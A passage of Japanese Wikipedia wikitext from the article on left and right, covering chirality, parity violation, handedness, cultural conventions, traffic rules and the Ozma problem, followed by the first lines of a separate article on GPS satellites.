このように、平面図形では形としては同じでも、平面上ではどのように移動しても絶対に重ね合わせられない形が存在し、それはいわゆる鏡像である。ただし、我々の空間の中ではこのような図形は持ち上げて裏返せば重ね合わせられるので、これらを合同と見なす。それに対して、空間図形の場合、我々の空間の中ではこれを引っ繰り返すことはできないから、絶対に重ね合わせられず、これらを区別せざるを得ない。それに対する名に右と左を使う場合もある。これについては鏡像の節も参照のこと。
=== 鏡像 ===
{{seealso|鏡像|時計回り・反時計回り|右巻き・左巻き}}
人体がほぼ左右対称なことから、左右の概念は、様々な幾何学的な[[鏡像]]関係を区別するために持ち出される。たとえば[[回転]]の方向を指す「[[右回り]]」や[[螺旋]]などの「[[右巻き]]」である。これは日常会話だけではなく、数学における[[右手系]]や化学における[[キラル]]、物理学における[[ヘリシティ]]など、科学の様々な分野においてもそうである。
しかし純粋に幾何学的には、左右は本来[[六方]]の一つであり、その立場からすると、これらの左右は援用である。たとえば螺旋において、「右巻き」があるからと言って、「上巻き」や「後巻き」といった概念があるかというと、そうではない。従って、鏡像関係にある二つの螺旋のうち、片方が絶対的に「右巻き」という訳ではない。しばしば右ねじと同じ螺旋を「右巻き」と呼ぶが、それは人為的な約束事である。
一方で、[[巻き貝]]では、その巻く方向は、身体の左右と密接に結びついている。[[#軟体動物の場合]]で後述する。
==== 螺旋 ====
分野によっては、どちらの螺旋が「右巻き」と呼ぶ慣例であるかが決まっている。
* つる植物では、両方の定義が使われており、混乱している。
* [[学術用語集]]では、いくつかの生物関係の分野で、巻き貝における「右巻き」「左巻き」と同じ定義を用いている。
* [[ねじ]]については、右手を握り、親指を立てたときに四本の指先方向に回すと親指側にねじ込めるものを「右ねじ」という。
== 向かって / 背にして ==
たとえば人間が向き合った状態では、自分の右手側は相手の左手側になるなど、左右は誰から見たかに依る。そこで、ある方向を定め、そちらを向いた時の左右で指定する方法がある。これを'''向かって'''という。「~に向かって右側」などと言う。似たものに'''背にして'''という言い方もある。用例は以下の通り。
* 話し手の北側にコンビニ、西側に書店、東側にレストランがある場合
** コンビニに'''向かって'''右にレストラン、左に書店がある
** コンビニを'''背にして'''右に書店、左にレストランがある
== 自然現象 ==
自然現象においても、しばしば左右[[対称性]]、正確には[[鏡像対称性]]が見られる。つまり、[[鏡]]に映った像と実際の姿を区別することはできない。ところが、いくつかの重要な事例において、左右が対称でない場合、あるいは左右対称であっても同一でないと見なさねばならない場合がある。しかしながら、それにより左右を絶対的に定義できるかと言うと、[[#左右の定義と宇宙人]]の節で後述する通り単純ではない。
前述のように、自然現象のほとんどは左右対称に現れる。しかしながら、若干の、しかし重要な左右不相称の現象が存在する。代表的なのは以下のようなものである。
* [[電流]]によって生じる[[磁場]]の向きは右ねじの方向である。これを[[右ねじの法則]]と言う。
* 電流の流れる向きを前、[[磁力線]]の向きを上とした場合、[[力 (物理学)|力]]は右に向かって働く。[[フレミングの法則]]などを参照。
* [[素粒子]]の世界で働く[[弱い相互作用]](例:[[原子核]]の[[ベータ崩壊]])では、左右の対称性が破れている。これを[[パリティ対称性の破れ]]という。
* 左右非対称な[[分子]]は[[キラリティー|キラル]]であるという。キラルな分子の鏡像体同士は[[物性]]、[[化学反応]]性がほぼ一致しマクロな方法での分離が困難である。これを実現するのが[[不斉合成]]である。これらを区別する名称として、かつては右旋性・左旋性という語も使われた。[[光学異性体]]・[[旋光]]を参照。
* [[生物学]]においても、化学における[[キラル]]は重要である。というのは、生物において最も重要な物質と言ってよい[[タンパク質]]の構成単位である[[アミノ酸]]がこの性質をもつからである。実際の生物の場合、利用されるアミノ酸はL 型(左旋性)に限られており、D型(右旋性)を利用することはできない。なぜ生物がL 型しか利用しないかの理由は不明であり、むしろ、[[生命の起源]]に関する理論がこれを説明することを求められる。<br/>生物の発生においては、左右の形態の差異を生じるのに[[レフティ]]遺伝子が関与していることが示されているが、詳細は未だ解明されていない。
* [[低気圧]]の渦の回転方向は、[[北半球]]では普通[[反時計回り]]であり、南半球では逆である。これは[[コリオリの力]]による。ただし、発生後に赤道を越える進路を取る場合があるので、北半球の熱帯低気圧はすべて左回りとは言い切れない。
左右の区別を純粋に論理的に区別することの困難さについては、後述の「[[#左右の定義と宇宙人|左右の定義と宇宙人]]」節も参照。
== 身体・生物における左右 ==
=== 利き手 ===
人間には一般的に日常生活において、左右いずれかの手のほうが器用に動かしやすいことから、これを[[利き手]]として用いることが多い。それぞれ右利き・[[左利き]]と呼ばれ、世界的にみて右利きの人間が多数だがその理由ははっきりとわかっていない。
=== 左足と右足 ===
足にも手と同様に利き足が存在する。利き手のように目立つことはないが、利き足の方がそうでない足より蹴る力が強い。
そのため、砂漠などの広い土地で目印を定めず直進しようとすると、直進することができず、利き足とは逆回り(右利きの場合左回り)の巨大な円を描いてしまうことがある([[リングワンダリング]])。[[運動生理学]]も参照。
=== 内臓の位置 ===
生物の内臓は、左右に非対称性が見られ、例えば人間の場合、通常は自分から見て、[[肺]]は左右にあるが右側の方が大きい。また[[肝臓]]は右側に大きく偏り、[[胃]]は左、[[盲腸]]は右、ついでに腸の配置は対称性がない。この状態は「正位」と呼ばれる。しかし、稀には臓器が左右逆の位置にある者もあり、これは「逆位」と呼ばれている。全て逆の人もいれば特定の臓器のみ逆転している人もいる。[[全臓器反転症]]も参照。
=== 脳と左右 ===
{{main|脳機能局在論}}
[[動物]]の[[脳]]はほぼ左右対称な形状をしており、[[大脳]]および[[小脳]]は左右の半球に分かれて存在している。大脳は反対側の半身の、小脳は同じ側の半身の[[スポーツ|運動]]・[[感覚]]を担当しているが、それぞれの半球の役割は同等ではない。その差は特に大脳で著しく、優位半球と呼ばれる側の大脳が論理思考、[[言語]]など主要な精神機能を司る。逆の劣位半球と呼ばれる側は空間認識に関わっているなどが明らかになっているが、まだ十分に解明されてはいない。また、両側大脳にあって[[短期記憶]]を司る[[海馬 (脳)|海馬]]も優位側は言語的記憶、劣位側は非言語的記憶に関わることが知られる。右利きの人間のほとんど(約95%)で優位半球は左、劣位半球は右である。左利きの人間の場合にはあまり一定していないうえ、優位半球と劣位半球の区別が明確になっていないことも多い。
脳の左右に関しては俗説も多く見られる。[[脳機能局在論#右脳・左脳論]]を見よ。
=== 生物一般 ===
[[生物]]一般の場合も、左右の対称性と非対称性が入り混じる。
[[動物]]の場合、[[上下]]は[[重力]]から自然に定まり、また[[前後]]は、多くはほぼ水平方向であるが、主に進む方向であり、これらの二つはきわめて重要である。左右は、その残りから生ずる。
個体としては外部形態においては左右対称性が見られるものがほとんどである。内部形態では左右対称性と非対称性が混ざる。ヒトの場合の主な非対称は[[心臓]]と[[肝臓]]の位置、及び[[消化管]]の配置である。しかし、これらも本来は左右対称な形である。心臓もその発生からは体の中央にあるべきものである。消化管も口から肛門までの長さであれば真っすぐに配置するはずで、他の動物群においても体長より長い消化管を持つ場合、その配置は非対称である例が多い{{要出典|date=2012年3月}}<!-- 短いから対称が基本、という根拠は? 長い時の非対称が基本で、対称になるまでに短い、という理屈もあり得る。 -->。
もともと左右対称だったのが、左右どちらかが退化することで左右非対称となる例もある。たとえば[[オタマジャクシ]]の内鰓の出入り口は左側だけにある。
よりはっきりした非対称が見られるものもある。たとえば[[ヒラメ]]や[[カレイ]]では体側面を下にし、反対側に両眼が移動している。他の魚の鱗を食ういわゆる[[スケールイーター]]では獲物をねらう向きによって顔が歪んでいる種がある。[[カタツムリ]]を専食する[[イワサキセダカヘビ]]の仲間では、多数派である右巻きのカタツムリ捕食に特殊化して、下顎の歯の本数に著しい左右差が進化している。化石動物の[[石灰索動物|ホマロゾア]]は体が全体に左右非対称となっていた。
[[植物]]の場合には、移動方向としての前後が無い為、左右も無い。とはいえ、形態によっては鏡像対称に近くなることもあり、またたとえば[[葉]]など、部分的にはほぼ鏡像対称になる事もある。たとえば[[双子葉植物]]では、[[発芽]]から間もない頃はほぼ鏡像対称である。
[[藻類]]や[[菌類]]についても似た事が言える。
==== 軟体動物の場合 ====
さらに左右非対称がある例に[[軟体動物]]の[[腹足類]]がある。この類では、殻が螺旋状に巻いているので、左右が非対称になっている。それだけでなく、その進化の初期に体がねじれたと言われており、内臓や神経系の配置に独特のねじれが見られる。なお、そのねじれが戻ったと見られるものもある。
また、これらの動物では殻の巻き方に左右両側のものがあり、それぞれ群によっておおよそ決まっているほかに、その中でも種によって異なっている。たとえば陸産貝類では[[カタツムリ]]は[[右巻き]]で、[[キセルガイ]]は左巻きである。そしてカタツムリ類にも左巻きの種が散見される。
この巻き方の差異は[[生殖隔離]]の仕組みとしても働いている。カタツムリ類の生殖器は体の片方によっており、二頭が行き違う形で交尾が行われるが、巻きが逆のものでは生殖器のある側が反対になるため、交尾が成立しない。このことから、巻きが反対になる[[突然変異]]が起きれば、それが種分化の機会になる可能性も指摘される。なお、巻き貝全般では同種内で両方の巻き方がある種もある。
== 道具・機械に関する左右 ==
道具や機械によっては、[[急須]]などのように右利き用に作られているものも多い。これについては[[利き手]]を参照されたい。
[[冷蔵庫]]では、左右どちらからでも開くドアを有するものが[[1954年]]に[[東芝]]から発売されている<ref>{{Cite web|和書|url=https://web.archive.org/web/20201001214128/https://www.toshiba.co.jp/tech/review/2006/10/61_10pdf/a04.pdf |title=冷蔵庫のコンセプトとキー技術 |accessdate=2018-02-27 |author=阪本則秋、山本正和、藤井加奈子 |year=2006 |format=PDF |work=東芝レビュー |publisher=[[東芝]] |page=12 |language=日本語}}</ref>。
== スポーツにおける左右 ==
{{Main2|球技や格闘技における利き手による有利不利|サウスポー}}
=== 各種レース ===
陸上の[[陸上競技|トラック]]競技は、左回りで行われる。これは利き足が右である人間が多く、その場合右足の方が左足と比べて地面を蹴る力が強いので、左回りの方が速く走れるためである。競馬のレースは、左回りのものと右回りのものの双方がある<ref>[[大井競馬場]]は、現存する競馬場としては世界で唯一、左右両回りでレースが行われる。</ref>。競艇では、[[#船舶|船舶が右側航行である]]のに合わせて、左回りでレースが行われる。
== 政治的・思想的立場と左右 ==
政治的・思想的な立場を表すために'''右'''と'''左'''の語が用いられる場合がある。右([[右翼]]・右派)は[[保守]]的・[[国粋主義|国粋]]的な立場を、左([[左翼]]・左派)は[[急進主義|急進]]的・[[革新]]的な立場をそれぞれ意味することが一般的である。この由来は、[[フランス革命]]時の[[国民議会 (フランス革命)|国民議会]]で、議長席から見て、右に保守派、左に急進派の[[ジャコバン党]]が座ったことである。[[左翼・右翼]]も参照。
== 文化と左右 ==
文化によっては、左と右に優劣や貴賎の意味を持たすことがある。
[[古代インド]]の礼法では右回りを吉、左回りを不吉とした。インドを発祥とする[[仏教]]にも右旋を優位とする礼法が多く見られ、仏教圏の文化に影響を与えている<ref name="Suwa">{{Cite book ja-jp|和書 |author = [[諏訪春雄]] |title = 天空の世界神話 |year = 2009 |chapter = 日本人の空間認識:南北線と東西線 |publisher = 八坂書房 |editor = [[篠田知和基]] |isbn = 9784896949414 |ref = harv }} pp.54-62.</ref>。また、古代中国では[[北極星|北辰]]信仰が盛んであり、北極星を中心に左旋回する天体の運行を人間の方位観に当てはめ、南面する[[天子]]を中心とした秩序を構成した<ref name="Suwa"/>。
一方、[[老子]]や[[道教]]では「吉事尚左、凶事右」として主に左が貴ばれた。中国では時代によって左右の貴賎が変わり、時代順に[[周]]は左を貴び、[[戦国時代_(中国)|戦国]]・[[秦]]・[[漢]]は右を、[[六朝]]・[[隋]]・[[唐]]・[[宋 (王朝)|宋]]は左を、[[元 (王朝)|元]]は右を、[[明]]・[[清]]は左を貴んだ。これについて、左を賎しめ右を貴んだ時代は荒れ乱れた世が多く、「君子、居れば則ち左を貴び、兵を用うれば則ち右を貴ぶ」という老子の言葉の通りである、とする見方がある{{要出典|date=2012年3月}}<!-- 歴史的に著名な人物が言ったならば、それを記すこと。現代人が言ったなら、ただのたわごと -->。
[[奈良時代]]から[[平安時代]]にかけての日本は、中国の歴代王朝の中でも特に左を貴んだとされる[[唐]]の影響を強く受けていたため、当時の日本では[[右大臣]]よりも[[左大臣]]が貴い地位であった。
漢の時代の中国では、官吏を賎い地位に下げることを「[[左遷]]」と表現していた(『[[漢書]]』[[周昌]][[列伝|伝]])。現在の日本でも、会社員や公務員の地位を下げたり条件の悪い勤務地へ強制的に転勤させることを「'''左遷'''」(させん)と言うが、この言葉は現代中国語の語彙としては消滅している<ref>[http://j.people.com.cn/friendship/991201/index_j.html 日中飛鴻「左遷」(1999年12月1日)]</ref>。
=== 建物・住居における左右 ===
日本の[[国会議事堂]]は、建物は左右対称だが、建物の正面から見て左側が[[衆議院]]、右側が[[参議院]]である。
日本では、[[襖]]や[[障子]]は通常右側が手前になるようにはめ込む。引き戸やアルミサッシなどでも同様である。
=== 舞台における左右 ===
{{see|上手と下手}}
[[劇場]]の[[舞台]]では、演者と観客が対面する形での上演が多く、左右で方向を表すと混乱しやすい。
日本では、観客から舞台に向かって見たときの右側を'''上手'''(かみて)、左側を'''下手'''(しもて)と呼び、左右の語は使わない。
英語の表現では、この二つを"stage left"(上手)、"stage right"(下手)と呼ぶ。舞台上の演者から観客に向かって見る立場である。実際には、やはり混乱しやすいので、[[プロンプター (舞台芸術)|プロンプター]]が通常上手にいることから、"prompt"(上手)、"opposite prompt"(下手)という語も使われる。
=== 衣服における左右 ===
日本の[[着物]]は、現代では通常、男性用、女性用ともにその着物を着る者からみて右側の部分が手前となるように着付ける。これを、「右前(みぎまえ)」という。例外的に、死者に着せる和服のみは「左前(ひだりまえ)」に着せる。
これに対して、[[洋服]]では、男性用は「右前」、女性用では「左前」のものが一般的である。
=== 食事における左右 ===
日本の[[和食]]において、飯茶碗と汁茶碗は、食事をする者から見てそれぞれ左、右に配膳することとされる。また、焼き魚を皿に盛り付ける場合には、食事をする者からみて左側に頭を据えるものとされている。
[[洋食]]のテーブルセットは、通常、客からみて右側に[[ナイフ]]、左側に[[フォーク (食器)|フォーク]]がセットされている。これはナイフは右手で、フォークが左手で用いるのが一応の[[マナー]]とされるからであるが、ナイフを置き、フォークを右手に持ち替えて食べることをアメリカン・スタイルと呼びマナー上も許容されている。
[[アラブ]]など[[イスラム教]]を信仰する地域や、[[インド]]など[[ヒンドゥー教]]を信仰する地域ではフォークや[[スプーン]]を用いず、直接食べ物を指で口に運ぶことが多いが、左手は不浄の手(用便の際に使用)とされ、食事の際には用いられない。
=== 平城京、平安京・京都における左右 ===
[[平城京]]や[[平安京]]では、東側は左京、西側は右京と呼ばれる。これは、北部にある[[御所]]において[[天皇]]は南むきに玉座に座るために、街の東側は左側に、街の西側は右側にみえることに由来する。現代の地図上の左右、つまり地図の北を上にしたときの左右ではない。現代の[[京都市]]の[[左京区]]、[[右京区]]は、平安京とは地域的にずれるがこれに倣ったものである。
しかしながら、京都の[[五山送り火]]には西と東に二つの「大文字」があるが、こちらは西側の大文字が「左大文字」と呼ばれる。
=== 卜占と左右 ===
[[占い]]や順位においては、左右に優劣をつけることが、様々な文化に見られる。
英語で「凶運な」を意味する“sinister”は、ラテン語の「左」''sinistra''に由来する。日本語にも、“sinister”の忠実な訳語として「左前」がある。なお、対義語で「右の」は "dexter" である。<!-- ローマの占いが事実だとしても、それが語源であるとは信じ難い:
これは、[[ローマ帝国]]の卜者が、鳥が飛ぶ方角を見て、左に向かったら凶、右へ向かったら吉としたことに由来する。
以下の2つのサイトを見ると、「左なら凶」と一言で決められるようなものでは、全くないらしい:
http://www.examiner.com/holistic-science-spirit-in-national/birds-fall-dead-fish-how-the-ancients-interpreted-the-signs-of-the-times
http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/SMIGRA*/Augurium.html
-->一方、中国では[[陰陽五行思想]]では左が[[陽]]とされ、[[太極拳]]や[[気功]]は左から始まる。
=== 川の右岸と左岸 ===
川下に向かって川を見た時、左側の岸を左岸、右側の岸を右岸と呼ぶ。今日ではこの慣例が定着している。<!-- 口を濁して申し訳ない。「川」記事の古い版では、北海道では両方の地名がある、とあるが、例が無いので、書けない。-->
=== 国名 ===
[[イエメン]]の[[アラビア語]]国名「アル・ヤマン」は「右」を意味する「ヤマン」に[[アラビア語の冠詞|定冠詞]]を冠するものである。[[メッカ]]の[[カアバ]]に向かって立つと、顔は東を向き、右手に[[砂漠]]とこの地方が広がる。したがってメッカ以[[南]]の地は、すべて「右側」と呼ばれた。やがて時代を経て、アル・ヤマンはイエメンだけ指すようになった<ref>{{Cite web|和書|title=イエメン共和国|東京都立図書館|url=https://www.library.metro.tokyo.lg.jp/search/research_guide/olympic_paralympic/area_studies/index/yemen/|website=東京都立図書館|accessdate=2021-03-03|language=ja}}</ref>。
== 言語、表記、文字の左右 ==
=== 漢字の左と右 ===
漢字の[[部首]]において[[偏]](へん)は左に、[[旁]](つくり)は右に位置する。
=== 表記 ===
日本語の表記方法としては、[[縦書きと横書き]]があるが、縦書きの場合には、右列から左列に、横書きの場合には、左から右へと文字が綴られるのが標準である。戦前までは横書きを右から読むことが多かったが、これは1行1文字の縦書きであるとみることができる。また、縦書きを左から書くこともある。
世界には、横書きでも右から左に書く[[文字]]体系も、左から右に書く体系もある。
=== 日本語における熟語 ===
; 左右
: 日本語においては「左右」の語が、「将来・運命を左右する」など、善悪や成否に決定的に関わるほどの大きな影響の意味で用いられる例がある。これは熟語であり、左または右に単独での意味はない。
; 右に出る
: 日本語において相手より優れることを「右に出る」という言い方が使用される。例えば、「~の右に出る者はいない」とは、「~より優れる者はいない」「~が最も優秀だ」を意味する用句である。
; 最左翼・最右翼
: 日本語で「最左翼」には「最も劣った」、「最右翼」には「最も優れた」という意味も持つ。例えば、「優勝候補の最左翼」とは、「最も優勝しそうにない人」を意味する。これは、第二次大戦前の日本の[[士官学校]]において、成績が最上位の者を最も右に配置し、成績順に右から左に列べた事に由来する<!-- と、色々な辞書にあるので、これは良かろう -->。
=== 複式簿記 ===
[[複式簿記]]の仕訳の表記においては借方を左側に、貸方を右側に書くように定められている。借方貸方の用語が類似していて混乱しやすく、また歴史的な語義が失われていることから、借方貸方という用語は単に左側右側を意味しているに過ぎない。
== 交通における左右 ==
=== 歩行者 ===
国・地域によって異なる。自動車が普及している国では、車両とは逆の通行区分になっている場合が多い([[対面交通]])。
[[日本の道路]]では[[歩行者]]は、歩道・[[路側帯]]と車道の区別のない道路に於いては、原則車両とは逆の[[右側通行]]である。これは[[道路交通法]]第10条第1項に定められている。[[1900年]]に発令された道路取締規則、[[1920年]]に制定された道路取締令では、歩行者も車両と同じく左側通行であった(これは、[[武士]]が左側に帯刀していた為、すれ違う時に鞘が触れ合わないよう、左側を歩いていたからとの説がある)。しかし終戦直後、死亡事故が頻発した為、[[1949年]][[11月1日]]に「車両は左側通行、歩行者は右側通行」の対面交通が取り入れられた<ref>{{Cite web|和書|title=俗語辞典|url=http://www.nhk.or.jp/po/zokugo/2131.html|publisher=[[日本放送協会]]|date=2015-07-06|accessdate=2018-01-27}}</ref>。しかし、[[鉄道駅]]の通路は現在も左側通行の所が多い<ref>{{Cite web|和書|title=右側通行?左側通行?(1)-「車は左、人は右」と言われている歩行者の通行ルールは本当はどうなっているのか-|url=http://www.nli-research.co.jp/report/detail/id=54311&pno=2?site=nli|publisher=ニッセイ基礎研究所|date=2016-11-14|accessdate=2018-01-30}}</ref>。また、[[盲導犬]]は道路の左側を歩くよう訓練されており、道交法でも左側通行が認められている<ref>{{Cite web|和書|title=広報はにゅう 2016年5月1日号|url=http://www.city.hanyu.lg.jp/docs/2016032900018/file_contents/2805.pdf|format=PDF|publisher=[[羽生市]]|accessdate=2018-01-19}}(8頁参照)</ref>。{{See also|対面交通#日本}}
=== エスカレーター ===
日本では、[[エスカレーター]]では左に立ち止まり、歩く者は右側を行くのが慣習となっている。但し、大阪では右に立ち止まり、歩く者は左側を行く<ref name="nikkei">{{Cite news|title=エスカレーター、関西なぜ「右立ち」(謎解きクルーズ)|url=https://www.nikkei.com/article/DGXLASIH02H08_T01C14A2AA1P00/|newspaper=[[日本経済新聞]]|publisher=[[日本経済新聞社]]|date=2014-12-13|accessdate=2018-02-01}}</ref>。
大阪での慣習の由来については、いくつかの説がある。そのひとつに、[[1970年代]]に、阪急電車の梅田駅で、右に立つことが推奨されたため、右側に立つことが定着したというものがある<ref>『謎山トキオの謎解き分析-右と左の50の謎』丸山健夫 [[日科技連出版社]] [[2010年]] ISBN 978-4-8171-9368-1</ref>。
しかし、エスカレーターは立ち止まって乗ることを前提に設計されており、鉄道各社は2列に並び立ち止まって乗るよう呼び掛けている<ref name="nikkei" />。また、[[埼玉県]]では、エスカレーターでは歩くことそのものが'''条例違反'''(ただし罰則はない)である。
=== 車両 ===
[[ファイル:Horikawa bus at JSDF Kurume Base.JPG|250px|サムネイル|右|左側通行(日本)<br />この写真の場合、走り去る車が写っている方が左、向かってくる車が写っている方が右となる。]]
{{main|車両の通行側}}
世界には、[[車両]]が右側通行の国と左側通行の国がある。日本は左側通行であり、これは[[道路交通法]]第17条第4項に定められている。ただし、例外として地形の制約などにより上下線の配列が左右逆になっている箇所([[北陸自動車道]] [[敦賀IC]]~[[今庄IC]]間等)も存在する。
日本以外の左側通行の国や地域の多くは、[[イギリス]]、[[アイルランド]]、[[オーストラリア]]、[[ニュージーランド]]、[[タイ王国]]、[[マレーシア]]など、旧[[大英帝国]]・イギリスの旧[[植民地]]であるところが大部分である。
左側通行では右ハンドル、右側通行では左ハンドルの車の使用が標準となる。右ハンドル左ハンドルどちらの場合も[[クラッチ]]・[[ブレーキ]]・[[アクセルペダル|アクセル]]の並びは左からこの順で変わりはない。ヘッドライトのロービームも、左側通行用の車と右側通行用の車で配光が異なる。つまり、ロービームは前面を満遍なく照らすのではなく、対向車を幻惑させないように配光がされている。日本や英国などでは、右ハンドル、左ハンドルどちらの仕様の車両であっても国内の法制に従って車両を登録し、公道上を運行させることができる。
また、ヨーロッパ連合においては左側通行である英国やアイルランドとその他の右側通行国との間、タイとラオスの両国間、また中国の国内において香港やマカオと他地域との間<ref>双方の地域での車両登録が必要などの条件を満たす必要がある</ref>などでは自動車による往来が可能であるため、必然的に右ハンドル仕様車と左ハンドル仕様車が同一の交通の中で混在する。この場合、車両通行の左右が入れ替わる場所では立体交差にするなどして交通の錯綜を防いでいる。
=== 船舶 ===
[[File:Seikan ferry route map.svg|thumb|right|250px|[[青函連絡船]]の航路。現在の[[青函航路]]は右側通行で、上下航路の間隔が狭くなっている。]]
[[スターボード艇優先の原則]]により、[[船舶]]は万国共通で右側航行が原則となっている([[海上における衝突の予防のための国際規則に関する条約]])。
日本でも[[海上衝突予防法]]で
* 狭い[[水道 (地理)|水道]]ではできる限り右側に寄って航行しなければならない(第9条)。
* 2隻の動力船が正面から行き会う場合には、原則的に、それぞれ針路を右に転じなければならない(第14条)。
とされている。
ただし例外もあり、例えば[[青函連絡船]]が運行されていた時代の[[青函航路]]は左側通行であった。
また、船舶は右側航行が原則であるが、接岸は左舷で行われることが多い。上述の「スターボード艇優先の原則」の「スターボード(starboard)」とは舵取り板を意味する「ステアリングボード(steering board)」の訛りであり、昔の船は舵取り板を船尾右舷に装備していたため、左舷で接岸が行われていた。このため、現在でも右舷は「スターボードサイド(starboard side)」、左舷は「ポートサイド(port side)」と呼ばれ<ref>[http://www.jasnaoe.or.jp/mecc/fushigi/report/report022.html スターボードサイド、ポートサイドって?] [[日本船舶海洋工学会]]、2008年(2015年7月18日閲覧)。</ref>、慣習的に左舷で接岸が行われている。
=== 航空機 ===
[[航空機]]は、船舶の慣習を多く引き継いでおり、右側航行が原則とされる。2機の航空機が、互いに正面から接近しつつある場合には、互に進路を右に変えなければならないこととされる。これは、日本の[[航空法]]施行規則第182条にも規定されている。また、ポートサイド・スターボードサイドの呼び名や左側から乗降することが多いのも、船舶と同様である<ref>[https://www.jal.co.jp/entertainment/knowledge/agora58.html 航空豆知識 第58回 飛行機はなぜ左側から乗るの?] [[日本航空]]、2015年7月18日閲覧。</ref>。
=== 鉄道 ===
自動車と同様国・地域によって異なるが、[[路面電車]]以外の鉄道は必ずしも自動車の通行区分と一致するわけではない。
[[中華民国|台湾]]、[[大韓民国|韓国]]、[[朝鮮民主主義人民共和国|北朝鮮]]では、自動車は右側通行だが、日本統治時代に建設された鉄道路線は左側通行である。また、韓国では[[ソウル交通公社1号線]]も、乗り入れ先の[[韓国鉄道公社]]に合わせて左側通行となっている。[[フランス]]も自動車は右側通行だが、鉄道は[[イギリス]]の技術支援を受けた影響で左側通行となっている。[[フランス国鉄]]はこのように左側通行であるが、[[メトロ_(パリ)|パリの地下鉄(メトロ)]]では右側通行となっている。他、[[イタリア]]や[[スイス]]等も自動車とは逆の左側通行となっている<ref>{{Cite news|title=右側通行?左側通行?(3)-鉄道・船舶・航空機の通行ルールはどうなっているのか:研究員の眼|url=https://www.huffingtonpost.jp/nissei-kisokenkyujyo/traffic-right-or-left_b_13420312.html|publisher=[[ハフポスト]]|date=2016-12-05|accessdate=2018-02-01}}</ref>。
逆に、[[インドネシア]]は自動車は左側通行だが、鉄道は右側通行となっている。
[[日本の鉄道]]はイギリスの技術支援を受けた影響で原則左側通行だが、例外として地形の制約により上下線の配列が左右逆になっている箇所([[東海道本線]]の[[南荒尾信号場]] - [[関ケ原駅]]間、[[北陸本線]]の[[新疋田駅]] - [[敦賀駅]]間など)が存在する。それ以外では、[[三重交通神都線]]が複線区間で右側通行だった。また、[[単線]]区間においてホームに進入する際には、線路の構造や、[[閉塞 (鉄道)|閉塞]]取扱(の名残)、[[ワンマン運転]]における乗客の取り扱いの利便性から、右側通行になる場合がある<ref>{{Cite news|title=いまだけ電車が右側通行の区間がある|url=https://news.mynavi.jp/article/trivia-136/|newspaper=[[マイナビニュース]]|publisher=[[マイナビ]]|date=2012-02-04|accessdate=2018-02-01}}</ref>。
[[操縦席#鉄道車両の運転席・運転台|運転席]]は右側通行の場合は右側、左側通行の場合は左側にあることが多い。
鉄道車両の形式図においては、前方<ref>片運転台の場合はわかりやすいが、それ以外の車両についても、車両構造によりどちらが前方かは定義されている。</ref>が左に来る側面を「公式側」、逆の側面を「非公式側」と呼んでおり、[[鉄道写真]]などでこの用語が利用されることもある<ref>[https://news.mynavi.jp/article/20110828-ayougo/ いまさら聞けない「鉄道ニッチ用語」(その2) 撮影用語編] [[マイナビニュース]](杉山淳一)、2011年8月28日(2021年1月10日閲覧)。</ref>。一方で、路線環境に応じて、線路に対する左右方向の呼称が「山側/浜側」「西側/東側」のように社内で決められている例もある<ref>{{Twitter status|hankyu_ex|603480229466677250|阪急公式アカウントのツイート(2015年5月27日)}}2021年1月10日閲覧。</ref>。
== 左右の定義と宇宙人 ==
[[宇宙人]]に[[写真]]や[[模型]]などの実物を送らずに、言葉や論理だけを通信して左右を伝えることができるか、という[[通俗科学|ポピュラーサイエンス]]上の問い掛けがある([[オズマ問題]])。相手が宇宙人であるので、ヒト同士のように、心臓のあるほうが左、といった定義が使えない。
上と下は重力に対して定義し、上下軸に直交する1本の軸を前後軸として定義する。その2本と直交する最後の軸が左右軸であるが、どちらが右でどちらが左であると、伝える事ができるだろうか。
* [[テレビ]]など映像通信で伝える
*: '''不可'''。あらかじめ左右の方向が伝達できていなければ、[[走査]]方向が右から左となるか、あるいは左から右となるかが決められない。
* [[複素数#複素数平面|ガウス平面]]の虚数軸・実数軸を上下・左右とする
*: '''不可'''。図を書く際、どちらの方向を正とし、負とするかはまったく暗黙の了解によっているから。
* 2つの[[空間ベクトル|ベクトル]]の[[ベクトル積|外積]]によって得られるベクトルの方向
*: '''不可'''。これを右ネジの進む方向としているのは約束事にすぎない。宇宙人は左ネジの進む方向として扱っているかもしれない。
* [[アンドレ=マリ・アンペール|アンペール]]の[[右ねじの法則]]、[[ジョン・フレミング|フレミング]]の[[フレミング右手の法則|右手の法則]]
*: '''不可'''。[[磁束|磁力線]]の方向の定義(N極とS極の定義)が約束事に過ぎないため。
* [[パリティ対称性の破れ]]
*: 正物質で構成されている世界においては'''可'''。[[反物質]]で構成されている世界に対しては'''不可'''。例えば、反コバルト60のベータ崩壊を観測して左右を決定すれば、地球人が考える左右とは逆になる。
*:なおこれを非常に大雑把なイメージで喩えると、重力が常に真下に働くとある平面上に(自立困難な)円盤を転がして、進行方向を前方に(言わば遠ざかっていくのを)眺めた時に、倒れやすい方向が右であり、その反対側が左である言った具合に説明できる。
* [[偏光|円偏光]]で通信する等、左右非対象の性質を持つ通信媒体を用いる
*: このような解答は、ネジのように左右の模型となる物を直接送付しているのと同じで、「通信内容によって左右を伝える」という題意を満たしていない。
このように、実物なしに、言語等論理のみで左右を伝えることは、極めて難しいことがわかる。
== 脚注 ==
{{脚注ヘルプ}}
<references/>
== 関連項目 ==
* [[利き手]]
* '''左右''' - [[前後]] - [[上下]]
* [[縦と横]]
* [[表と裏]]
* [[右巻き、左巻き]]
* 「ひだり」「左」「みぎ」「右」などで始まる記事の一覧
** {{前方一致ページ一覧|左}}
**{{前方一致ページ一覧|右}}
** [[Wikipedia:索引 さ]]
** [[Wikipedia:索引 ひた]]
** [[Wikipedia:索引 う]]
** [[Wikipedia:索引 みき]]
*{{intitle|左}}
*{{intitle|右}}
{{DEFAULTSORT:さゆう}}
[[Category:方向]]
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| https://ja.wikipedia.org/wiki/%E5%B7%A6%E5%8F%B3 |
6,855 | GPS衛星 | GPS衛星(ジーピーエスえいせい、英語: GPS satellite)とは、グローバル・ポジショニング・システム(英語: Global positioning system, GPS)で用いられる人工衛星である。正式名称は「ナブスター (英語: NAVSTAR: Navigation Satellites with Time And Ranging) 衛星」である。このシステムの最初の衛星ナブスター1は、1978年2月22日に打上げられた。
GPS衛星コンステレーションは、アメリカ空軍第50宇宙航空団で運用されている。
